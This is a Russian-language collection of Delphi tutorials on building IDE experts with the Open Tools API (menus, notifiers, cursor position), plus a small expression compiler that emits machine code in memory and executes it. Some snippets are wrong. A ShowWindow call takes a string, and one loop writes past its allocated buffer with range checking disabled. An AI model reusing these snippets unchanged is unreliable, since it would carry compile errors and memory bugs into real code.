Result := esStandard;
end;
{ возвращаем строку - идентификатор эксперта }
function TEMyExpert.GetIDString: string;
begin
Result := 'Doomy.SimpleAddInExpert_1';
end;
{ возвращаем текст пункта меню }
function TEMyExpert.GetMenuText: string;
begin
Result := 'Simple Expert 1';
end;
{ возвращаем множество, характеризующее состояние пункта меню эксперта }
{ (доступность, наличие "галочки"); в данном случае пункт меню доступен, }
{ а "галочка" отсутствует }
function TEMyExpert.GetState: TExpertState;
begin
Result := [esEnabled];
end;
{ при выборе пункта меню эксперта отображаем сообщение }
procedure TEMyExpert.Execute;
begin
MessageDlg('Standard Expert Started!', mtInformation, [mbOK], 0);
end;
{ регистрируем эксперт }
procedure register;
begin
RegisterLibraryExpert( TEMyExpert.Create);
end;
end.
Для того чтобы эксперт был “приведен в действие”, необходимо выбрать пункт меню Component/Install Component ... ,
выбрать в диалоге Browse модуль, содержащий эксперт (в нашем случае exmpl_01.pas), нажать ОК, и после компиляции пакета
dclusr30.dpk в главном меню Delphi в разделе Help должен появиться пункт Simple Expert 1, при выборе которого появляется
информационное сообщение “Standard Expert started!”.
Почему Delphi помещает пункт меню эксперта в раздел Help, остается загадкой. Если вам не нравится то, что пункт меню
появляется там, где угодно Delphi, а не там, где хотите вы, возможен следующий вариант: создать эксперт в стиле add-in,
что исключает автоматическое создание пункта меню, а пункт меню добавить “вручную”, используя средства Tool Interface.
Это позволит задать местоположение нового пункта в главном меню произвольным образом. Для добавления пункта меню
используется класс TIToolServices — основа Tool Interface — и классы TIMainMenuIntf, TIMenuItemIntf, реализующие
интерфейсы к главному меню IDE и его пунктам. Экземпляр ToolServices класса TIToolServices создается самой IDE при
ее инициализации. Обратите внимание на то, что ответственность за освобождение интерфейсов к главному меню Delphi и
его пунктам целиком ложится на разработчика. Попутно немного усложним функциональную нагрузку эксперта: при
активизации своего пункта меню он будет выдавать справку об имени проекта, открытого в данный момент в среде:
unit exmpl_02;
{ ADD-IN EXPERT, ДОБАВЛЕНИЕ ПУНКТА В ГЛАВНОЕ МЕНЮ IDE DELPHI }
interface
uses
Classes, Dialogs, ToolIntF, ExptIntf, Menus;
type
{ класс эксперта является потомком базового класса TIExpert }
TEMyExpert = class( TIExpert)
private
MenuItem: TIMenuItemIntf;
public
constructor Create;
destructor Destroy; override;
function GetName: string; override;
function GetStyle: TExpertStyle; override;
function GetIDString: string; override;
procedure MenuItemClick( Sender: TIMenuItemIntf);
end;
procedure register;
function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;
implementation
{ добавляем пункт в главное меню IDE Delphi: }
{ 1) текст вставляемого пункта меню - 'Simple Expert 2'; }
{ 2) идентификатор вставляемого пункта меню - 'ViewMyExpertItem2'; }
{ 3) идентификатор пункта меню, перед которым добавляется новый }
{ пункт меню - 'ViewWatchItem' (для Delphi 5 - 'ViewWatchesItem');}
{ 4) горячая клавиша вставляемого пункта - 'Ctrl + 2'; }
{ 5) обработчик события, соответствующего выбору вставляемого пункта }
{ меню - MenuItemClick }
constructor TEMyExpert.Create;
begin
inherited Create;
MenuItem:= AddIDEMenuItem( 'Simple Expert 2', 'ViewMyExpertItem2',
{$IFDEF VER130}
'ViewWatchesItem', '2', MenuItemClick);
{$ELSE}
'ViewWatchItem', '2', MenuItemClick);
{$ENDIF}
end;
destructor TEMyExpert.Destroy;
begin
if Assigned( MenuItem) then
MenuItem.Free;
inherited Destroy;
end;
{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
begin
MessageDlg( 'Current project name is ' + ToolServices.GetProjectName,
mtInformation, [mbOK], 0);
end;
{ возвращаем имя эксперта }
function TEMyExpert.GetName: string;
begin
Result := 'My Simple Expert 2';
end;
{ возвращаем стиль эксперта }
function TEMyExpert.GetStyle: TExpertStyle;
begin
Result := esAddIn;
end;
{ возвращаем строку - идентификатор эксперта }
function TEMyExpert.GetIDString: string;
begin
Result := 'Doomy.SimpleAddInExpert_2';
end;
function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;
var
MainMenu: TIMainMenuIntf;
MenuItems, PreviousItem, ParentItem: TIMenuItemIntf;
begin
Result:= nil;
{ получаем интерфейс пунктов главного меню IDE }
MainMenu:= ToolServices.GetMainMenu;
if Assigned( MainMenu) then
try
{ получаем интерфейс пунктов верхнего уровня меню }
MenuItems:= MainMenu.GetMenuItems;
if Assigned( MenuItems) then
try
{ ищем пункт меню перед которым необходимо вставить новый пункт }
PreviousItem:= MainMenu.FindMenuItem( PreviousItemName);
if Assigned( PreviousItem) then
try
{ получаем интерфейс к родительскому пункту меню }
ParentItem:= PreviousItem.GetParent;
if Assigned( ParentItem) then
try
{ вставляем новый пункт меню и в качестве результата функции }
{ возвращаем его интерфейс }
Result:= ParentItem.InsertItem( PreviousItem.GetIndex, Caption,
name, '', ShortCut( Word( ShortCutKey), [ssCtrl]), 0, 0,
[mfVisible, mfEnabled], OnClick);
finally
{ освобождаем интерфейс родительского пункта меню }
ParentItem.Free;
end;
finally
{ освобождаем интерфейс пункта меню перед которым вставили }
{ новый пункт }
PreviousItem.Free;
end;
finally
{ освобождаем интерфейс пунктов верхнего уровня меню }
MenuItems.Free;
end;
finally
{ освобождаем интерфейс главного меню IDE }
MainMenu.Free;
end;
end;
procedure register;
begin
{ регистрируем эксперт }
RegisterLibraryExpert( TEMyExpert.Create);
end;
end.
В этом примере центральное место занимает функция AddIDEMenuItem, осуществляющая добавление пункта меню в главное
меню IDE Delphi. В качестве параметров ей передаются текст нового пункта меню, его идентификатор, идентификатор
пункта, перед которым вставляется новый пункт, символьное представление клавиши, которая вместе с клавишей Ctrl
может использоваться для быстрого доступа к новому пункту, и обработчик события, соответствующего выбору нового пункта.
Мы добавили новый пункт меню в раздел View перед пунктом Watches.
Теперь познакомимся с нотификаторами. Определим add-in нотификатор, отслеживающий моменты закрытия/открытия проектов
и корректирующий соответствующим образом поле, хранящее имя активного проекта (реализацию методов, не претерпевших
изменений по сравнению с предыдущим примером, для краткости опустим):
unit exmpl_03;
{ ИСПОЛЬЗОВАНИЕ ADD-IN НОТИФИКАТОРОВ }
interface
uses
Classes, Dialogs, ToolIntF, ExptIntf, Menus;
type
TEMyExpert = class;
{ касс add-in нотификатора порождаем от TIAddInNotifier}
TAddInNotifier = class(TIAddInNotifier)
private
Expert: TEMyExpert;
public
constructor Create( anExpert: TEMyExpert);
procedure FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean); override;
end;
{ класс эксперта является потомком базового класса TIExpert }
TEMyExpert = class( TIExpert)
private
ProjectName: string;
MenuItem: TIMenuItemIntf;
AddInNotifier: TAddInNotifier;
public
constructor Create;
destructor Destroy; override;
function GetName: string; override;
function GetStyle: TExpertStyle; override;
function GetIDString: string; override;
procedure MenuItemClick( Sender: TIMenuItemIntf);
end;
procedure register;
function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;
implementation
constructor TAddInNotifier.Create;
begin
inherited Create;
Expert := anExpert;
end;
procedure TAddInNotifier.FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean);
begin
with Expert do
case NotifyCode of
fnProjectOpened:
ProjectName:= FileName; { открытие проекта }
fnProjectClosing:
ProjectName:= 'unknown' { закрытие проекта }
end;
end;
constructor TEMyExpert.Create;
begin
inherited Create;
{ добавляем пункт в главное меню IDE Delphi }
MenuItem:= AddIDEMenuItem( 'Simple Expert 3', 'ViewMyExpertItem3',
{$IFDEF VER130}
'ViewWatchesItem', '3', MenuItemClick);
{$ELSE}
'ViewWatchItem', '3', MenuItemClick);
{$ENDIF}
try
{ создаем add-in нотификатор }
AddInNotifier:= TAddInNotifier.Create( Self);
{ регистрируем add-in нотификатор }
ToolServices.AddNotifier( AddInNotifier);
except
AddInNotifier:= nil;
end;
{ инициализируем поле, хранящее имя активного проекта }
ProjectName:= ToolServices.GetProjectName;
end;
destructor TEMyExpert.Destroy;
begin
if Assigned( MenuItem) then
MenuItem.Free;
if Assigned( AddInNotifier) then
begin
{ снимаем регистрацию add-in нотификатора }
ToolServices.RemoveNotifier( AddInNotifier);
{ уничтожаем add-in нотификатор }
AddInNotifier.Free;
end;
inherited Destroy;
end;
{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
begin
MessageDlg( 'Current project name is ' + ProjectName,
mtInformation, [mbOK], 0);
end;
...
end.
Для реализации нотификатора мы определили класс TAddInNotifier, являющийся потомком TIAddInNotifier, и
перекрыли метод FileNotification. IDE будет вызывать этот метод каждый раз, когда происходит событие, на
которое способен среагировать add-in нотификатор (каждое такое событие обозначается соответствующей
константой типа TFileNotification). Поле Expert в классе TAddInNotifier служит для обратной связи с
экспертом (метод TAddInNotifier.FileNotification). В деструкторе эксперта регистрация нотификатора снимается,
и нотификатор уничтожается.
А теперь проиллюстрируем использование модульных нотификаторов. Создадим add-in эксперт, выдающий сообщения о
каждом акте сохранения проектного файла (реализацию уже знакомых нам методов для краткости не приводим):
unit exmpl_04;
{ ИСПОЛЬЗОВАНИЕ МОДУЛЬНЫХ НОТИФИКАТОРОВ }
interface
uses
Classes, Dialogs, ToolIntF, ExptIntf, Menus
{$IFDEF VER130}, EditIntf{$ENDIF};
type
{ класс модульного нотификатора порождаем от TIModuleNotifier }
TModuleNotifier = class( TIModuleNotifier)
private
FileName: string;
public
constructor Create(const aFileName: string);
procedure Notify( NotifyCode: TNotifyCode); override;
{$IFDEF VER130}
procedure ComponentRenamed(ComponentHandle: Pointer;
const OldName, NewName: string); override;
{$ELSE}
procedure ComponentRenamed( const oldName, newName: string); override;
{$ENDIF}
end;
TEMyExpert = class;
{ класс add-in нотификатора порождаем от TIAddInNotifier}
TAddInNotifier = class(TIAddInNotifier)
private
Expert: TEMyExpert;
public
constructor Create( anExpert: TEMyExpert);
procedure FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean); override;
end;
{ класс эксперта является потомком базового класса TIExpert }
TEMyExpert = class( TIExpert)
private
AddInNotifier: TAddInNotifier;
ModuleInterface: TIModuleInterface;
ModuleNotifier: TModuleNotifier;
public
constructor Create;
destructor Destroy; override;
function GetName: string; override;
function GetStyle: TExpertStyle; override;
function GetIDString: string; override;
procedure AddModuleNotifier( const FileName: string);
procedure RemoveModuleNotifier;
end;
procedure register;
implementation
constructor TModuleNotifier.Create(const aFileName: string);
begin
inherited Create;
FileName := aFileName;
end;
procedure TModuleNotifier.Notify( NotifyCode: TNotifyCode);
begin
{ если произошло сохранение соответствующего нотификатору файла, }
{ то выдаем сообщение об этом }
if NotifyCode = ncAfterSave then
MessageDlg(FileName + 'saved', mtInformation, [mbOK], 0);
end;
procedure TModuleNotifier.ComponentRenamed;
begin
{ ничего здесь не делаем, но метод необходимо перекрыть }
end;
procedure TAddInNotifier.FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean);
begin
with Expert do
case NotifyCode of
fnProjectOpened: { открытие проекта }
{ добавляем модульный нотификатор }
AddModuleNotifier( FileName);
fnProjectClosing: { закрытие проекта }
{ освобождаем модульный нотификатор }
RemoveModuleNotifier;
end;
end;
constructor TEMyExpert.Create;
begin
inherited Create;
try
{ создаем add-in нотификатор }
AddInNotifier:= TAddInNotifier.Create( Self);
{ регистрируем add-in нотификатор }
ToolServices.AddNotifier( AddInNotifier);
except
AddInNotifier:= nil;
end;
{ добавляем модульный нотификатор }
AddModuleNotifier( ToolServices.GetProjectName);
end;
destructor TEMyExpert.Destroy;
begin
if Assigned( AddInNotifier) then
begin
{ снимаем регистрацию add-in нотификатора }
ToolServices.RemoveNotifier( AddInNotifier);
{ уничтожаем add-in нотификатор }
AddInNotifier.Free;
end;
{ освобождаем модульный нотификатор }
RemoveModuleNotifier;
inherited Destroy;
end;
procedure TEMyExpert.AddModuleNotifier;
begin
{ если модульный нотификатор для проектного файла уже зарегистрирован, }
{ то никаких действий не выполняем, во избежание появления дубликатов }
{ нотификаторов; в противном случае дубликаты могли бы появиться, }
{ например, при открытии Delphi: один нотификатор добавился бы при }
{ создании эксперта (в конструкторе класса эксперта), а второй - при }
{ открытии проекта (в TAddNotifier.FileNotification }
if Assigned( ModuleInterface) and Assigned( ModuleNotifier) then
Exit;
try
{ получаем интерфейс модуля }
ModuleInterface:= ToolServices.GetModuleInterface( FileName);
try
{ создаем модульный нотификатор }
ModuleNotifier:= TModuleNotifier.Create( FileName);
{ регистрируем модульный нотификатор }
ModuleInterface.AddNotifier( ModuleNotifier);
except
ModuleNotifier:= nil;
end;
except
ModuleInterface:= nil;
end;
end;
procedure TEMyExpert.RemoveModuleNotifier;
begin
if Assigned(ModuleNotifier) then
begin
if Assigned( ModuleInterface) then
{ снимаем регистрацию модульного нотификатора }
ModuleInterface.RemoveNotifier( ModuleNotifier);
{ уничтожаем модульный нотификатор }
ModuleNotifier.Free;
ModuleNotifier:= nil;
end;
if Assigned( ModuleInterface) then
begin
{ освобождаем модульный интерфейс }
ModuleInterface.Free;
ModuleInterface:= nil;
end;
end;
...
end.
В данном примере add-in эксперт отслеживает события, соответствующие открытию/закрытию проектов. При каждом открытии
проекта регистрируется модульный нотификатор, соответствующий файлу проекта. В плане реализации модульные нотификаторы
схожи с add-in нотификаторами: мы определяем класс TModuleNotifier, являющийся потомком TIModuleNotifier и перекрываем
его методы Notify и ComponentRenamed. IDE вызывает метод Notify при возникновении определенных событий, имеющих
отношение к данному модулю; внутри этого метода и определяется реакция на то или иное событие. Метод ComponentRenamed
вызывается при изменении имени компонента, лежащего на форме модуля. Обратите внимание на то, что мы не используем
этот метод, но обязаны его перекрыть, иначе при изменении имени компонента будет происходить вызов абстрактного метода
базового класса, что приводит к непредсказуемым последствиям. Регистрация модульного нотификатора является несколько
более сложным процессом по сравнению с регистрацией add-in нотификатора: сначала мы получаем интерфейс модуля
(TIModuleInterface), а затем с помощью интерфейса модуля регистрируем нотификатор. При закрытии проекта регистрация
модульного нотификатора снимается (снова с использованием TIModuleInterface), и нотификатор уничтожается.
В заключение покажем, как можно определять позицию курсора в окне редактора кода. Создадим эксперт, который при выборе
соответствующего пункта меню выдавал бы сообщение, содержащее имя активного файла и позицию курсора в нем (приведена
реализация только существенных для данного примера методов):
unit exmpl_05;
{ ОПРЕДЕЛЕНИЕ ПОЗИЦИИ КУРСОРА }
interface
uses
SysUtils, Classes, Dialogs, ToolIntF, ExptIntf, EditIntf, Menus;
type
{ класс эксперта является потомком базового класса TIExpert }
TEMyExpert = class( TIExpert)
private
MenuItem: TIMenuItemIntf;
public
constructor Create;
destructor Destroy; override;
function GetName: string; override;
function GetStyle: TExpertStyle; override;
function GetIDString: string; override;
procedure MenuItemClick( Sender: TIMenuItemIntf);
function GetCursorPos: TEditPos;
end;
procedure register;
function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;
implementation
{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
var
CurPos: TEditPos;
begin
CurPos:= GetCursorPos;
if CurPos.Line > 0 then
MessageDlg( 'Current file: ' + ToolServices.GetCurrentFile + #13 +
'Current cursor position: ' + IntToStr( CurPos.Line) +
', ' + IntToStr( CurPos.Col), mtInformation, [mbOK], 0);
end;
function TEMyExpert.GetCursorPos: TEditPos;
var
ModuleInterface: TIModuleInterface;
EditorInterface: TIEditorInterface;
EditView: TIEditView;
FileName: string;
begin
{ определяем имя активного файла }
FileName:= ToolServices.GetCurrentFile;
Result.Line:= 0;
Result.Col:= 0;
{ для простоты определяем позицию только в pas- файлах }
if ExtractFileExt( FileName) = '.pas' then
begin
{ получаем интерфейс модуля }
ModuleInterface:= ToolServices.GetModuleInterface( FileName);
try
{ получаем интерфейс редактора кода }
EditorInterface:= ModuleInterface.GetEditorInterface;
try
{ получаем интерфейс представления модуля в редакторе }
{ передавая методу GetView индекс нужного нам представления; }
{ если файл открыт в нескольких окнах редактора кода, то для }
{ простоты берем первое (хотя конечно, это не совсем }
{ правильно }
EditView:= EditorInterface.GetView( 0);
try
Result:= EditView.CursorPos;
finally
EditView.Free;
end;
finally
EditorInterface.Free;
end;
finally
ModuleInterface.Free;
end;
end;
end;
...
Для определения позиции курсора мы должны получить следующую последовательность интерфейсов:
* модульный интерфейс (TIModuleInterface);
* интерфейс редактора кода (TIEditorInterface);
* интерфейс представления модуля в окне редактора (TIEditView).
Если при выборе пункта меню эксперта активным является файл с исходным текстом (*.pas), то выдается сообщение,
содержащее имя активного файла и текущую позицию курсора в нем. Если активным является не pas-файл, то сообщение
не выдается.
Для получения имени активного файла используется метод GetCurrentFile класса TIToolServices.
Итак, в данной статье в общих чертах рассмотрены открытые интерфейсы и приведены примеры их использования. Еще раз
повторим: благодаря наличию исходных текстов открытых интерфейсов вы без труда сможете разобраться в интересующих
вас деталях. Надеемся, что многообразие возможностей, предоставляемых открытыми интерфейсами, породит у вас не одну
смелую и полезную идею.
Иногда, особенно при создании компонент, бывает необходимо получить доступ к компоненту только когда запущена Delphi IDE.
If FindWindow('TAppBuilder', nil) <= 0 then
ShowMessage('Delphi is not running!')
else
ShowWindow('Delphi is running!');
Можно сделать это, используя "IFOPT" и "DEFINE".
type
PSomeArray = ^TSomeArray;
TSomeArray = array[0..0] of integer;
procedure TForm1.Button1Click(Sender: TObject);
var
p: PSomeArray;
i: integer;
begin
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}
GetMem(p, sizeof(integer) * 200);
try
for i := 1 to 200 do
p[i] := i;
finally
FreeMem(p, sizeof(integer) * 200);
end;
{$IFDEF CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;
Автор: http://www.swissdelphicenter.ch
{
This unit can be compiled into a package and will
then appear in the delphi Help menu.
}
unit SDCSimpleExpert;
interface
uses ToolsApi;
type
TSDCSimpleExpert = class(TNotifierObject, IOTAMenuWizard, IOTAWizard)
public
function GetIDString: string;
function GetName: string;
function GetState: TWizardState;
procedure Execute;
function GetMenuText: string;
end;
procedure Register;
implementation
uses Dialogs;
procedure Register;
begin
{register expert}
RegisterPackageWizard(TSDCSimpleExpert.Create);
end;
{ TSDCSimpleExpert }
procedure TSDCSimpleExpert.Execute;
begin
{code to execute when menu item is clicked}
ShowMessage('Hello SwissDelphiCenter Simple Expert.');
end;
function TSDCSimpleExpert.GetIDString: string;
begin
{unique expert identifier}
Result := 'SwissDelphiCenter.SimpleExpert';
end;
function TSDCSimpleExpert.GetMenuText: string;
begin
{caption of menu item in help menu}
Result := 'SwissDelphiCenter Simple Expert';
end;
function TSDCSimpleExpert.GetName: string;
begin
{name of the expert}
Result := 'SwissDelphiCenter Simple Expert';
end;
function TSDCSimpleExpert.GetState: TWizardState;
begin
Result := [wsEnabled];
end;
----------------------------------------------
Написание простейшего эксперта
Какой же код нужно написать для создания простейшего эксперта? Для этого нужно написать класс, унаследованный от
IOTAWizard (определен в файле ToolsAPI.pas) или одного из его потомков, расположить в модуле процедуру Register,
как мы это делали с компонентами, и вызвать внутри ее процедуру RegisterPackageWizard (const Wizard: IOTAWizard);
например: RegisterPackageWizard (TMyExpert.Create as IOTAWizard); передав ей в качестве параметра экземпляр заранее
созданного эксперта.
Рассмотрим класс IOTAWizard.
IOTAWizard = interface(IOTANotifier)
['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']
{ Expert UI strings }
function GetIDString: string;
function GetName: string;
function GetState: TWizardState;
{ Launch the AddIn }
procedure Execute;
end;
Интерфейс IOTANotifier нам не понадобится, поэтому давайте рассмотрим методы IOTAWizard:
Метод GetIDString
должен возвращать уникальный идентификатор эксперта. Например: MyCompany.MyExpert
Метод GetName
должен возвращать название эксперта
Метод GetState
должен возвращать [wsEnabled], если эксперт функционирует, wsChecked если выбран.
Метод Execute
вызывается при запуске эксперта из среды IDE.
Итак, если вы хотите сами программировать действия вашего эксперта, включая добавление в меню IDE и прочее и прочее,
унаследуйте его от IOTAWizard.
Если вы хотите, чтобы ваш эксперт отображался в репозитарии Delphi на произвольной странице и по щелчку по его иконке
вызывался его метод Execute - унаследуйте его от IOTARepositoryWizard
IOTARepositoryWizard = interface(IOTAWizard)
['{B75C0CE1-EEA6-11D1-9504-00608CCBF153}']
function GetAuthor: string;
function GetComment: string;
function GetPage: string;
function GetGlyph: Cardinal;
end;
Метод GetAuthor
должен возвращать имя автора,
Метод GetComment
- комментарий,
Метод GetPage
- страницу на которой будет расположена иконка эксперта
Метод GetGlyph
- дескриптор иконки
Если вы хотите, чтобы эксперт появлялся на странице форм в репозитарии - унаследуйте его от IOTAFormWizard. Он имеет
все те же методы и свойства, что и IOTARepositoryWizard, если на странице проектов - от IOTAProjectWizard. Он тоже
аналогичен IOTARepositoryWizard.
Если же вы хотите, чтобы пункт меню для вызова метода вашего эксперта Execute помещался в меню Help главного меню IDE,
унаследуйте вашего эксперта от IOTAMenuWizard:
IOTAMenuWizard = interface(IOTAWizard)
['{B75C0CE2-EEA6-11D1-9504-00608CCBF153}']
function GetMenuText: string;
end;
Метод GetMenuText должен возвращать имя пункта меню для отображения, а метод GetState возвращает стиль элемента меню
(Enabled, Checked)
Вот так все просто, оказывается!
Расположение эксперта внутри DLL библиотеки
Если вы хотите расположить вашего эксперта не в пакете, а в DLL библиотеке, библиотека должна экспортировать функцию
INITWIZARD0001 следующего формата:
type
TWizardRegisterProc = function(const Wizard: IOTAWizard): Boolean;
type
TWizardTerminateProc = procedure;
function INITWIZARD0001(const BorlandIDEServices: IBorlandIDEServices;
RegisterProc: TWizardRegisterProc; var Terminate: TWizardTerminateProc):
Boolean stdcall;
Для регистрации вашего эксперта вызовите внутри этой функции RegisterProc и передайте ей экземпляр заранее созданного
класса вашего эксперта. BorlandIDEServices - указатель на основной интерфейс для работы со всей IDE. Отдельные части его
мы рассмотрим далее. По окончании работы IDE или при принудительной выгрузке вашего эксперта будет вызвана функция
Terminate, которую вы должны передать среде. Поместите полный путь к DLL в ключ реестра
HKEY_CURRENT_USER\Software\Borland\Delphi\7.0\Experts
или
HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\7.0\Experts
Именем ключа может быть произвольная строка.
Эксперт будет запущен только при перезапуске среды, если она выполнялась. Вуаля!
{....}
uses ToolsApi, Menus;
{....}
var
item: TMenuItem;
begin
{get reference to delphi's mainmenu. You can handle it like a common TMainMenu}
with (BorlandIDEServices as INTAServices).GetMainMenu do
begin
item := TMenuItem.Create(nil);
item.Caption := 'A Mewn caption';
Items.Add(item);
end;
end;
Что это и зачем или Немного наглой саморекламы
Эта программа представляет собой простенький компилятор синтаксических выражений. "Ну опять", - скажет невнимательный
читатель, но мы то с тобой внимательные, и понимаем что компилятор, это совсем не то что валяется на каждом
программистском сайте. В отличие от парсера (или интерпретатора) такую штуку встретить можно несколько реже. Если честно,
то когда она мне была нужна, я ее нигде не встретил. И поэтому родилась эта программа.
Что он может или Какие мы маленькие
Да в общем-то немного, и ценности в ней мало :). Она может вычислять выражения (тип - вещественное число с плавающей
точкой (на момент написания это называлось Real)) с использованием операций (+,-,/,*). Мало... А разве сложно дописать
пару строк чтобы обработать Y или экспоненту коли они будут нужны?
Так зачем же это нужно.
В силу своей огромной нескромности я полагаю, что кому-нибудь это все может быть интересно как пример непосредственного
формирования кода в памяти и его исполнения.
Отдельное спасибо
(да я знаю, что благодарности помещают в конце, но там их редко кто читает :)) так вот отдельное спасибо: Спасибо
человеку, который сделал из меня программиста. Спасибо Королеве Елене Филипповой. Если вы здесь, то вы знаете за что.:)
Эта программа написана в то время когда меня можно было легко "взять на "слабо"". Так вот спасибо тому кто меня
подначил на ее написание :)
Но к делу
Взявшись оформлять этот пример для общественности, я понял, что меняются не только времена и люди, но и исходники
лежащие в архиве. Да их не узнать! Да неужели это писал я? Да... точно... странно... Но ведь он все еще работает!
Вдвойне странно... Так что если что - сильно не ругаться - я был молодой и временами делал некрасивости. Старинный
закон гласит: последняя ошибка программы выявляется через 7 лет эксплуатации. Если вы заметили ошибку, которой не
заметил я - то буду благодарен, если вы мне о ней напишите. Я, пожалуй, не буду следовать примеру Д. Кнута и высылать
деньги за замеченные ошибки, но спасибо скажу :).
Как все это работает:
Компилятор он и есть компилятор. Сначала выражение надо скомпилировать. Делается это с помощью функции
function Prepare(Ex:String):real;
которая вызывает
function preCalc(Ex:String):real;
формирующую код, вычисляющий заданное выражение. Как можно догадаться, Ex - это строка, содержащая математическое
выражение. Функция preCalc рекурсивна и распознавая полученную математику, попутно формируя исполняемый код. Она
имеет мало проверок на корректность и нет нужды вводить туда мусор и радоваться, когда увидите что все повисло.
Помните правило GIGO (Garbage in Garbage Out). Не надо также ставить 0 под знак деления. Но это уже не моя ошибка :)))
ВНИМАНИЕ:
ограничение на глубина рекурсии: полученый код не должен помещать в стек более 8 значений.Снятие этого ограничения
опять же лишь вопрос практической реализации.
Для понятности формируемый код представляется в ближайшем Memo. Функция возвращает: а фиг его знает что она возвращает
:) лучше не обращайте внимания :) Скомпилировали? Теперь можно и запускать: При компиляции мы сформировали процедуру
с красноречивым названием:
proc:TProc;
где
type TProc=procedure;
пример запуска можно найти в
procedure TForm1.BitBtn1Click(Sender: TObject);
Также встречаются процедуры и функции:
function SecindBracket(Ex:String;first:integer):Integer;
вот уж и не помню, отчего появилось такое красивое название (скорее всего от очепятки), но все это призвано обработать
скобки в выражении ,
procedure TForm1.BitBtn1Click(Sender: TObject); // Вычисляй
запускает вычисление, а также
procedure TForm1.Button2Click(Sender: TObject); // Speed test
для того чтобы посмотреть какой за быстрый получился код. К сему прилагается слегка комментированный исходный код.
Вряд ли кому нужны комментарии типа:
I:=0; // обнуляем счетчик
а по структуре программы там комментариев хватает. Ну вот и все... Буду рад если вам это пригодиться.
Если какие пожелания - пишите. Конструктивная критика - пишите. Неконструктивная критика - тоже пишите - у меня файлы
удаляются без помещения в корзину.
// Это Unit1.pas
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, StrEx, Math;
type
TForm1 = class(TForm)
Edit1: TEdit;
BitBtn1: TBitBtn;
Label1: TLabel;
Memo1: TMemo;
Button1: TButton;
Edit2: TEdit;
Label2: TLabel;
Button2: TButton;
procedure BitBtn1Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Edit1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TProc = procedure;
var
Form1: TForm1;
A: array of real;
CS: array of Byte;
DS: array of Real;
Res, X, Y: real;
proc: TProc;
function preCalc(Ex: string): real;
function Prepare(Ex: string): real;
function SecindBracket(Ex: string; first: integer): Integer;
implementation
{$R *.DFM}
// это про скобки... это просто и не заслуживает большого внимания.
function SecindBracket(Ex: string; first: integer): Integer;
var
i, BrQ: integer;
begin
Result := 0;
case Ex[first] of
'(':
begin
i := first + 1;
BrQ := 0;
while (i <= length(Ex)) do
begin
if (BrQ = 0) and (Ex[i] = ')') then
begin
Result := i;
exit;
end;
if Ex[i] = '(' then
Inc(BrQ)
else if Ex[i] = ')' then
Dec(BrQ);
i := i + 1;
end;
end;
')':
begin
i := first - 1;
BrQ := 0;
while (i > 0) do
begin
if (BrQ = 0) and (Ex[i] = '(') then
begin
Result := i;
exit;
end;
if Ex[i] = '(' then
Inc(BrQ)
else if Ex[i] = ')' then
Dec(BrQ);
i := i - 1;
end;
end;
end;
end;
// а вот тут мы собственно и формируем процедуру
function Prepare(Ex: string): real;
begin
SetLength(Ds, 1);
// вот это будет заголовок
SetLength(CS, 6);
cs[0] := $8B;
cs[1] := $05;
cs[2] := (integer(@ds) and $000000FF) shr 0;
cs[3] := (integer(@ds) and $0000FF00) shr 8;
cs[4] := (integer(@ds) and $00FF0000) shr 16;
cs[5] := (integer(@ds) and $FF000000) shr 24;
// вот это - вычисление
X := 1; //догадайтесь зачем :)
preCalc(Ex);
// а вот это - завершение
SetLength(CS, high(CS) + 7);
cs[high(CS) - 5] := $DD;
cs[high(CS) - 4] := $1D;
cs[high(CS) - 3] := (integer(@res) and $000000FF) shr 0;
cs[high(CS) - 2] := (integer(@res) and $0000FF00) shr 8;
cs[high(CS) - 1] := (integer(@res) and $00FF0000) shr 16;
cs[high(CS) - 0] := (integer(@res) and $FF000000) shr 24;
SetLength(CS, high(CS) + 2);
// ну и не забудем про RET
cs[high(CS)] := $C3; // ret
proc := pointer(cs);
end;
// будем формировать код рассчета.
function preCalc(Ex: string): real;
var
Sc, i, j: integer;
s, s1: string;
A, B: real;
const
Op: array[0..3] of char = ('+', '-', '/', '*');
begin
s := ''; // да всегда инициализируйте переменные ваши
for i := 1 to length(Ex) do
if ex[i] <> ' ' then
s := s + ex[i];
// чтобы под ногами не путались :)
while SecindBracket(s, Length(s)) = 1 do
s := copy(s, 2, Length(s) - 2); // скобки
if s = '' then
begin
Result := 0;
ShowMessage('Error !');
exit;
end;
val(s, Result, i); // это число ? а какое ?
if i = 0 then
begin // ага это число. так и запишем
Form1.Memo1.Lines.Add('fld ' + FloatToStr(result));
SetLength(Ds, high(ds) + 2);
Ds[high(ds)] := Result;
SetLength(CS, high(CS) + 4);
cs[high(Cs)] := high(ds) * 8;
cs[high(Cs) - 1] := $40;
cs[high(Cs) - 2] := $DD;
exit;
end;
if (s = 'x') or (s = 'X') then
begin // опа, да это же Икс !
